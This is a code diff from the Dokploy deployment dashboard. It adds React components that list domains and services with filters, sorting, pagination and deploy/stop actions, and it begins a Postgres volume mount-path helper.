const [sortBy, setSort] = useSortPreference<OverviewDomainSortBy>(
|
||||
"overviewDomainsSort",
|
||||
"createdAt-desc",
|
||||
SORT_VALUES,
|
||||
);
|
||||
|
||||
const handleToggleEnable = async (
|
||||
domain: NonNullable<typeof domains>[number],
|
||||
) => {
|
||||
try {
|
||||
const result = await toggleEnable({ domainId: domain.domainId });
|
||||
utils.overview.domains.invalidate();
|
||||
toast.success(
|
||||
result.enabled ? "Domain enabled" : "Domain disabled",
|
||||
result.requiresRedeploy
|
||||
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||
: undefined,
|
||||
);
|
||||
} catch {
|
||||
toast.error(`Error updating "${domain.host}"`);
|
||||
}
|
||||
};
|
||||
|
||||
const availablePorts = useMemo(() => {
|
||||
if (!domains) return [];
|
||||
const ports = new Set<number>();
|
||||
for (const domain of domains) {
|
||||
if (domain.port !== null) ports.add(domain.port);
|
||||
}
|
||||
return Array.from(ports).sort((a, b) => a - b);
|
||||
}, [domains]);
|
||||
|
||||
const filteredDomains = useMemo(() => {
|
||||
if (!domains) return [];
|
||||
const filtered = domains.filter(
|
||||
(domain) =>
|
||||
(selectedProjectId === "all" ||
|
||||
domain.projectId === selectedProjectId) &&
|
||||
(selectedStatus === "all" ||
|
||||
(selectedStatus === "enabled" ? domain.enabled : !domain.enabled)) &&
|
||||
(selectedSsl === "all" ||
|
||||
(selectedSsl === "https" ? domain.https : !domain.https)) &&
|
||||
(selectedPort === "all" || domain.port === Number(selectedPort)),
|
||||
);
|
||||
return sortOverviewDomains(filtered, sortBy);
|
||||
}, [
|
||||
domains,
|
||||
selectedProjectId,
|
||||
selectedStatus,
|
||||
selectedSsl,
|
||||
selectedPort,
|
||||
sortBy,
|
||||
]);
|
||||
|
||||
const [pageSize, setPageSize] = useState(50);
|
||||
const [pageIndex, setPageIndex] = useState(0);
|
||||
const pageCount = Math.max(1, Math.ceil(filteredDomains.length / pageSize));
|
||||
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
|
||||
const pagedDomains = filteredDomains.slice(
|
||||
currentPageIndex * pageSize,
|
||||
currentPageIndex * pageSize + pageSize,
|
||||
);
|
||||
|
||||
return (
|
||||
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||
<h3 className="text-lg font-medium">
|
||||
Domains{" "}
|
||||
<span className="text-sm font-normal text-muted-foreground">
|
||||
({filteredDomains.length})
|
||||
</span>
|
||||
</h3>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Select
|
||||
value={selectedProjectId}
|
||||
onValueChange={setSelectedProjectId}
|
||||
>
|
||||
<SelectTrigger className="w-[160px]">
|
||||
<SelectValue placeholder="Project" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All projects</SelectItem>
|
||||
{allProjects?.map((project) => (
|
||||
<SelectItem key={project.projectId} value={project.projectId}>
|
||||
{project.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
|
||||
<SelectTrigger className="w-[130px]">
|
||||
<SelectValue placeholder="Status" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All statuses</SelectItem>
|
||||
<SelectItem value="enabled">Enabled</SelectItem>
|
||||
<SelectItem value="disabled">Disabled</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Select value={selectedSsl} onValueChange={setSelectedSsl}>
|
||||
<SelectTrigger className="w-[130px]">
|
||||
<SelectValue placeholder="SSL" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">HTTP & HTTPS</SelectItem>
|
||||
<SelectItem value="https">HTTPS only</SelectItem>
|
||||
<SelectItem value="http">HTTP only</SelectItem>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
{availablePorts.length > 0 && (
|
||||
<Select value={selectedPort} onValueChange={setSelectedPort}>
|
||||
<SelectTrigger className="w-[120px]">
|
||||
<SelectValue placeholder="Port" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All ports</SelectItem>
|
||||
{availablePorts.map((port) => (
|
||||
<SelectItem key={port} value={String(port)}>
|
||||
{port}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
<Select
|
||||
value={sortBy}
|
||||
onValueChange={(v) => setSort(v as OverviewDomainSortBy)}
|
||||
>
|
||||
<SelectTrigger className="w-[170px]">
|
||||
<SelectValue placeholder="Sort by..." />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{SORT_OPTIONS.map((opt) => (
|
||||
<SelectItem key={opt.value} value={opt.value}>
|
||||
{opt.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{isLoading && (
|
||||
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<Loader2 className="size-4 animate-spin" />
|
||||
Loading domains...
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isLoading && filteredDomains.length === 0 && (
|
||||
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<span>No domains match the current filters.</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isLoading && filteredDomains.length > 0 && (
|
||||
<>
|
||||
<Table>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
<TableHead>Service</TableHead>
|
||||
<TableHead>Host</TableHead>
|
||||
<TableHead>Path</TableHead>
|
||||
<TableHead>Port</TableHead>
|
||||
<TableHead>Entrypoint</TableHead>
|
||||
<TableHead>Protocol</TableHead>
|
||||
<TableHead>Certificate</TableHead>
|
||||
<TableHead>Created</TableHead>
|
||||
<TableHead className="text-right">Status</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{pagedDomains.map((domain) => {
|
||||
const href = `/dashboard/project/${domain.projectId}/environment/${domain.environmentId}/services/${domain.serviceOwnerType}/${domain.serviceOwnerId}`;
|
||||
return (
|
||||
<TableRow key={domain.domainId}>
|
||||
<TableCell>
|
||||
<Link href={href} className="flex flex-col min-w-0">
|
||||
<span className="font-medium truncate">
|
||||
{domain.serviceName}
|
||||
</span>
|
||||
<span className="text-xs font-normal text-muted-foreground">
|
||||
{domain.projectName} / {domain.environmentName}
|
||||
</span>
|
||||
</Link>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<Link
|
||||
className="flex items-center gap-2 font-medium hover:underline"
|
||||
target="_blank"
|
||||
href={`${domain.https ? "https" : "http"}://${domain.host}${domain.path}`}
|
||||
>
|
||||
{domain.host}
|
||||
<ExternalLink className="size-3" />
|
||||
</Link>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<span className="font-mono text-sm">
|
||||
{domain.path || "/"}
|
||||
</span>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<Badge variant="secondary">{domain.port}</Badge>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{domain.customEntrypoint ? (
|
||||
<span className="font-mono text-sm">
|
||||
{domain.customEntrypoint}
|
||||
</span>
|
||||
) : (
|
||||
<span className="text-muted-foreground">—</span>
|
||||
)}
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<Badge variant={domain.https ? "outline" : "secondary"}>
|
||||
{domain.https ? "HTTPS" : "HTTP"}
|
||||
</Badge>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<Badge variant="outline" className="capitalize">
|
||||
{domain.certificateType}
|
||||
</Badge>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<DateTooltip date={domain.createdAt} />
|
||||
</TableCell>
|
||||
<TableCell className="text-right">
|
||||
{canToggleDomain ? (
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<div className="flex items-center justify-end">
|
||||
<Switch
|
||||
checked={domain.enabled}
|
||||
onCheckedChange={() =>
|
||||
handleToggleEnable(domain)
|
||||
}
|
||||
disabled={isToggling}
|
||||
/>
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>
|
||||
{domain.enabled
|
||||
? "Domain is active. Toggle to disable routing without deleting it."
|
||||
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||
</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
) : (
|
||||
<Badge
|
||||
variant={domain.enabled ? "outline" : "secondary"}
|
||||
>
|
||||
{domain.enabled ? "Enabled" : "Disabled"}
|
||||
</Badge>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
);
|
||||
})}
|
||||
</TableBody>
|
||||
</Table>
|
||||
|
||||
<div className="flex items-center justify-between text-sm text-muted-foreground">
|
||||
<span>
|
||||
{filteredDomains.length}{" "}
|
||||
{filteredDomains.length === 1 ? "domain" : "domains"} total
|
||||
</span>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="whitespace-nowrap">Rows per page</span>
|
||||
<Select
|
||||
value={String(pageSize)}
|
||||
onValueChange={(value) => {
|
||||
setPageSize(Number(value));
|
||||
setPageIndex(0);
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-[80px] h-8">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{PAGE_SIZE_OPTIONS.map((size) => (
|
||||
<SelectItem key={size} value={String(size)}>
|
||||
{size}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<span className="whitespace-nowrap">
|
||||
Page {currentPageIndex + 1} of {pageCount}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => setPageIndex(currentPageIndex - 1)}
|
||||
disabled={currentPageIndex === 0}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => setPageIndex(currentPageIndex + 1)}
|
||||
disabled={currentPageIndex + 1 >= pageCount}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
@ -0,0 +1,550 @@
|
||||
import type {
|
||||
OverviewServiceType,
|
||||
OverviewSortBy,
|
||||
} from "@dokploy/server/services/overview-shared";
|
||||
import { sortOverviewServices } from "@dokploy/server/services/overview-shared";
|
||||
import {
|
||||
Ban,
|
||||
CircuitBoard,
|
||||
GlobeIcon,
|
||||
Loader2,
|
||||
MoreHorizontal,
|
||||
RefreshCw,
|
||||
Search,
|
||||
ServerIcon,
|
||||
} from "lucide-react";
|
||||
import Link from "next/link";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
|
||||
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { StatusTooltip } from "@/components/shared/status-tooltip";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuLabel,
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import { useSortPreference } from "@/hooks/use-sort-preference";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
|
||||
|
||||
const TYPE_LABELS = {
|
||||
application: "Application",
|
||||
postgres: "PostgreSQL",
|
||||
mariadb: "MariaDB",
|
||||
mongo: "MongoDB",
|
||||
mysql: "MySQL",
|
||||
redis: "Redis",
|
||||
compose: "Compose",
|
||||
libsql: "Libsql",
|
||||
} satisfies Record<OverviewServiceType, string>;
|
||||
|
||||
const STATUS_OPTIONS = ["running", "idle", "done", "error"];
|
||||
|
||||
// "done" is the steady live state (green); "running" only holds mid-deploy (yellow) — relabeled to match what users expect.
|
||||
const STATUS_LABELS: Record<string, string> = {
|
||||
running: "Deploying",
|
||||
idle: "Idle",
|
||||
done: "Running",
|
||||
error: "Error",
|
||||
};
|
||||
|
||||
const SORT_OPTIONS: { value: OverviewSortBy; label: string }[] = [
|
||||
{ value: "lastDeploy-desc", label: "Recently deployed" },
|
||||
{ value: "lastDeploy-asc", label: "Oldest deployed" },
|
||||
{ value: "createdAt-desc", label: "Newest first" },
|
||||
{ value: "createdAt-asc", label: "Oldest first" },
|
||||
{ value: "name-asc", label: "Name (A-Z)" },
|
||||
{ value: "name-desc", label: "Name (Z-A)" },
|
||||
{ value: "type-asc", label: "Type (A-Z)" },
|
||||
{ value: "type-desc", label: "Type (Z-A)" },
|
||||
];
|
||||
|
||||
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
|
||||
|
||||
// libsql has no deploy/stop actions, same as environment/[environmentId].tsx.
|
||||
const idKeyByType: Record<string, string> = {
|
||||
application: "applicationId",
|
||||
compose: "composeId",
|
||||
postgres: "postgresId",
|
||||
mysql: "mysqlId",
|
||||
mariadb: "mariadbId",
|
||||
redis: "redisId",
|
||||
mongo: "mongoId",
|
||||
};
|
||||
|
||||
export const ShowOverviewServices = () => {
|
||||
const utils = api.useUtils();
|
||||
const {
|
||||
data: services,
|
||||
isLoading,
|
||||
refetch,
|
||||
} = api.overview.services.useQuery();
|
||||
const { data: allProjects } = api.project.all.useQuery();
|
||||
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [selectedProjectId, setSelectedProjectId] = useState("all");
|
||||
const [selectedType, setSelectedType] = useState("all");
|
||||
const [selectedStatus, setSelectedStatus] = useState("all");
|
||||
const [selectedServerId, setSelectedServerId] = useState("all");
|
||||
const [sortBy, setSort] = useSortPreference<OverviewSortBy>(
|
||||
"overviewServicesSort",
|
||||
"lastDeploy-desc",
|
||||
SORT_VALUES,
|
||||
);
|
||||
|
||||
const applicationActions = {
|
||||
deploy: api.application.deploy.useMutation(),
|
||||
stop: api.application.stop.useMutation(),
|
||||
};
|
||||
const composeActions = {
|
||||
deploy: api.compose.deploy.useMutation(),
|
||||
stop: api.compose.stop.useMutation(),
|
||||
};
|
||||
const postgresActions = {
|
||||
deploy: api.postgres.deploy.useMutation(),
|
||||
stop: api.postgres.stop.useMutation(),
|
||||
};
|
||||
const mysqlActions = {
|
||||
deploy: api.mysql.deploy.useMutation(),
|
||||
stop: api.mysql.stop.useMutation(),
|
||||
};
|
||||
const mariadbActions = {
|
||||
deploy: api.mariadb.deploy.useMutation(),
|
||||
stop: api.mariadb.stop.useMutation(),
|
||||
};
|
||||
const redisActions = {
|
||||
deploy: api.redis.deploy.useMutation(),
|
||||
stop: api.redis.stop.useMutation(),
|
||||
};
|
||||
const mongoActions = {
|
||||
deploy: api.mongo.deploy.useMutation(),
|
||||
stop: api.mongo.stop.useMutation(),
|
||||
};
|
||||
|
||||
const actionsByType: Record<
|
||||
string,
|
||||
{
|
||||
deploy: { mutateAsync: (input: any) => Promise<unknown> };
|
||||
stop: { mutateAsync: (input: any) => Promise<unknown> };
|
||||
}
|
||||
> = {
|
||||
application: applicationActions,
|
||||
compose: composeActions,
|
||||
postgres: postgresActions,
|
||||
mysql: mysqlActions,
|
||||
mariadb: mariadbActions,
|
||||
redis: redisActions,
|
||||
mongo: mongoActions,
|
||||
};
|
||||
|
||||
const handleAction = async (
|
||||
service: NonNullable<typeof services>[number],
|
||||
action: "deploy" | "stop",
|
||||
) => {
|
||||
const actions = actionsByType[service.type];
|
||||
const idKey = idKeyByType[service.type];
|
||||
if (!actions || !idKey) return;
|
||||
|
||||
const labels =
|
||||
action === "deploy"
|
||||
? {
|
||||
loading: "Deploying",
|
||||
success: "queued for deployment",
|
||||
error: "deploying",
|
||||
}
|
||||
: { loading: "Stopping", success: "stopped", error: "stopping" };
|
||||
|
||||
toast.promise(
|
||||
(async () => {
|
||||
await actions[action].mutateAsync({ [idKey]: service.id });
|
||||
})(),
|
||||
{
|
||||
loading: `${labels.loading} ${service.name}...`,
|
||||
success: () => {
|
||||
utils.overview.services.invalidate();
|
||||
return `${service.name} ${labels.success} successfully`;
|
||||
},
|
||||
error: (error) =>
|
||||
`Error ${labels.error} ${service.name}: ${error instanceof Error ? error.message : "Unknown error"}`,
|
||||
},
|
||||
);
|
||||
};
|
||||
|
||||
const availableServers = useMemo(() => {
|
||||
if (!services) return [];
|
||||
const map = new Map<string, string>();
|
||||
for (const service of services) {
|
||||
if (service.serverId && service.serverName) {
|
||||
map.set(service.serverId, service.serverName);
|
||||
}
|
||||
}
|
||||
return Array.from(map.entries()).map(([serverId, serverName]) => ({
|
||||
serverId,
|
||||
serverName,
|
||||
}));
|
||||
}, [services]);
|
||||
|
||||
const hasServicesWithoutServer = useMemo(
|
||||
() => !!services?.some((service) => !service.serverId),
|
||||
[services],
|
||||
);
|
||||
|
||||
const filteredServices = useMemo(() => {
|
||||
if (!services) return [];
|
||||
const filtered = services.filter(
|
||||
(service) =>
|
||||
service.name.toLowerCase().includes(searchQuery.toLowerCase()) &&
|
||||
(selectedProjectId === "all" ||
|
||||
service.projectId === selectedProjectId) &&
|
||||
(selectedType === "all" || service.type === selectedType) &&
|
||||
(selectedStatus === "all" || service.status === selectedStatus) &&
|
||||
(selectedServerId === "all" ||
|
||||
(selectedServerId === "dokploy-server" && !service.serverId) ||
|
||||
service.serverId === selectedServerId),
|
||||
);
|
||||
return sortOverviewServices(filtered, sortBy);
|
||||
}, [
|
||||
services,
|
||||
searchQuery,
|
||||
selectedProjectId,
|
||||
selectedType,
|
||||
selectedStatus,
|
||||
selectedServerId,
|
||||
sortBy,
|
||||
]);
|
||||
|
||||
// pageIndex is clamped against the filtered count each render instead of reset via an effect.
|
||||
const [pageSize, setPageSize] = useState(50);
|
||||
const [pageIndex, setPageIndex] = useState(0);
|
||||
const pageCount = Math.max(1, Math.ceil(filteredServices.length / pageSize));
|
||||
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
|
||||
const pagedServices = filteredServices.slice(
|
||||
currentPageIndex * pageSize,
|
||||
currentPageIndex * pageSize + pageSize,
|
||||
);
|
||||
|
||||
const renderIcon = (service: NonNullable<typeof services>[number]) => {
|
||||
if (service.type in DB_ENGINE_ICONS) {
|
||||
const Icon =
|
||||
DB_ENGINE_ICONS[service.type as keyof typeof DB_ENGINE_ICONS];
|
||||
return <Icon className="h-5 w-5" />;
|
||||
}
|
||||
if (service.icon) {
|
||||
return (
|
||||
<img
|
||||
src={service.icon}
|
||||
alt={service.name}
|
||||
className="size-5 object-contain rounded-sm"
|
||||
/>
|
||||
);
|
||||
}
|
||||
return service.type === "compose" ? (
|
||||
<CircuitBoard className="h-5 w-5" />
|
||||
) : (
|
||||
<GlobeIcon className="h-5 w-5" />
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||
<h3 className="text-lg font-medium">
|
||||
Services{" "}
|
||||
<span className="text-sm font-normal text-muted-foreground">
|
||||
({filteredServices.length})
|
||||
</span>
|
||||
</h3>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<div className="relative">
|
||||
<Input
|
||||
placeholder="Filter services..."
|
||||
value={searchQuery}
|
||||
onChange={(e) => setSearchQuery(e.target.value)}
|
||||
className="pr-9 w-[200px]"
|
||||
/>
|
||||
<Search className="absolute right-3 top-1/2 -translate-y-1/2 size-4 text-muted-foreground" />
|
||||
</div>
|
||||
<Select
|
||||
value={selectedProjectId}
|
||||
onValueChange={setSelectedProjectId}
|
||||
>
|
||||
<SelectTrigger className="w-[160px]">
|
||||
<SelectValue placeholder="Project" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All projects</SelectItem>
|
||||
{allProjects?.map((project) => (
|
||||
<SelectItem key={project.projectId} value={project.projectId}>
|
||||
{project.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Select value={selectedType} onValueChange={setSelectedType}>
|
||||
<SelectTrigger className="w-[150px]">
|
||||
<SelectValue placeholder="Type" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All types</SelectItem>
|
||||
{Object.entries(TYPE_LABELS).map(([value, label]) => (
|
||||
<SelectItem key={value} value={value}>
|
||||
{label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
|
||||
<SelectTrigger className="w-[130px]">
|
||||
<SelectValue placeholder="Status" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All statuses</SelectItem>
|
||||
{STATUS_OPTIONS.map((status) => (
|
||||
<SelectItem key={status} value={status}>
|
||||
{STATUS_LABELS[status] ?? status}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
{(availableServers.length > 0 || hasServicesWithoutServer) && (
|
||||
<Select
|
||||
value={selectedServerId}
|
||||
onValueChange={setSelectedServerId}
|
||||
>
|
||||
<SelectTrigger className="w-[170px]">
|
||||
<SelectValue placeholder="Server" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="all">All servers</SelectItem>
|
||||
{hasServicesWithoutServer && (
|
||||
<SelectItem value="dokploy-server">
|
||||
Dokploy server
|
||||
</SelectItem>
|
||||
)}
|
||||
{availableServers.map((s) => (
|
||||
<SelectItem key={s.serverId} value={s.serverId}>
|
||||
{s.serverName}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
<Select
|
||||
value={sortBy}
|
||||
onValueChange={(v) => setSort(v as OverviewSortBy)}
|
||||
>
|
||||
<SelectTrigger className="w-[190px]">
|
||||
<SelectValue placeholder="Sort by..." />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{SORT_OPTIONS.map((opt) => (
|
||||
<SelectItem key={opt.value} value={opt.value}>
|
||||
{opt.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{isLoading && (
|
||||
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<Loader2 className="size-4 animate-spin" />
|
||||
Loading services...
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isLoading && filteredServices.length === 0 && (
|
||||
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||
<span>No services match the current filters.</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isLoading && filteredServices.length > 0 && (
|
||||
<>
|
||||
<Table>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
<TableHead>Service</TableHead>
|
||||
<TableHead>Type</TableHead>
|
||||
<TableHead>Status</TableHead>
|
||||
<TableHead>Server</TableHead>
|
||||
<TableHead>Created</TableHead>
|
||||
<TableHead>Last Deploy</TableHead>
|
||||
<TableHead className="text-right">Actions</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{pagedServices.map((service) => {
|
||||
const href = `/dashboard/project/${service.projectId}/environment/${service.environmentId}/services/${service.type}/${service.id}`;
|
||||
const hasActions = service.type in actionsByType;
|
||||
return (
|
||||
<TableRow key={service.id}>
|
||||
<TableCell>
|
||||
<Link href={href} className="flex items-center gap-2">
|
||||
{renderIcon(service)}
|
||||
<div className="flex flex-col min-w-0">
|
||||
<span className="font-medium truncate">
|
||||
{service.name}
|
||||
</span>
|
||||
<span className="text-xs font-normal text-muted-foreground">
|
||||
{service.projectName} / {service.environmentName}
|
||||
</span>
|
||||
</div>
|
||||
</Link>
|
||||
</TableCell>
|
||||
<TableCell>{TYPE_LABELS[service.type]}</TableCell>
|
||||
<TableCell>
|
||||
<StatusTooltip
|
||||
status={service.status as any}
|
||||
className="size-2.5"
|
||||
/>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<div className="flex items-center gap-1.5 text-muted-foreground">
|
||||
<ServerIcon className="size-3.5" />
|
||||
<span className="truncate">
|
||||
{service.serverName ?? "Dokploy server"}
|
||||
</span>
|
||||
</div>
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
<DateTooltip date={service.createdAt} />
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{service.lastDeployAt ? (
|
||||
<DateTooltip date={service.lastDeployAt} />
|
||||
) : (
|
||||
<span className="text-muted-foreground">—</span>
|
||||
)}
|
||||
</TableCell>
|
||||
<TableCell className="text-right">
|
||||
{hasActions && (
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
<span className="sr-only">Open menu</span>
|
||||
<MoreHorizontal className="h-4 w-4" />
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel className="truncate">
|
||||
{service.name}
|
||||
</DropdownMenuLabel>
|
||||
<DialogAction
|
||||
title="Deploy Service"
|
||||
description={`Are you sure you want to deploy "${service.name}"?`}
|
||||
type="default"
|
||||
onClick={() => handleAction(service, "deploy")}
|
||||
>
|
||||
<DropdownMenuItem
|
||||
className="flex items-center gap-2"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
<RefreshCw className="size-4" />
|
||||
Deploy
|
||||
</DropdownMenuItem>
|
||||
</DialogAction>
|
||||
<DialogAction
|
||||
title="Stop Service"
|
||||
description={`Are you sure you want to stop "${service.name}"?`}
|
||||
onClick={() => handleAction(service, "stop")}
|
||||
>
|
||||
<DropdownMenuItem
|
||||
className="flex items-center gap-2 text-orange-500 focus:text-orange-500"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
<Ban className="size-4" />
|
||||
Stop
|
||||
</DropdownMenuItem>
|
||||
</DialogAction>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
);
|
||||
})}
|
||||
</TableBody>
|
||||
</Table>
|
||||
|
||||
<div className="flex items-center justify-between text-sm text-muted-foreground">
|
||||
<span>
|
||||
{filteredServices.length}{" "}
|
||||
{filteredServices.length === 1 ? "service" : "services"} total
|
||||
</span>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="whitespace-nowrap">Rows per page</span>
|
||||
<Select
|
||||
value={String(pageSize)}
|
||||
onValueChange={(value) => {
|
||||
setPageSize(Number(value));
|
||||
setPageIndex(0);
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-[80px] h-8">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{PAGE_SIZE_OPTIONS.map((size) => (
|
||||
<SelectItem key={size} value={String(size)}>
|
||||
{size}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
<span className="whitespace-nowrap">
|
||||
Page {currentPageIndex + 1} of {pageCount}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => setPageIndex(currentPageIndex - 1)}
|
||||
disabled={currentPageIndex === 0}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => setPageIndex(currentPageIndex + 1)}
|
||||
disabled={currentPageIndex + 1 >= pageCount}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
@ -4,6 +4,7 @@ import { useEffect } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import {
|
||||
@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
|
||||
import { api } from "@/utils/api";
|
||||
import type { ServiceType } from "../../application/advanced/show-resources";
|
||||
|
||||
const getPostgresMountPath = (dockerImage: string): string => {
|
||||
const versionMatch = dockerImage.match(/postgres:(\d+)/);
|
||||
if (versionMatch?.[1]) {
|
||||
const version = Number.parseInt(versionMatch[1], 10);
|
||||
if (version >= 18) {
|
||||
return `/var/lib/postgresql/${version}/docker`;
|
||||
}
|
||||
}
|
||||
return "/var/lib/postgresql/data";
|
||||
};
|
||||
|
||||
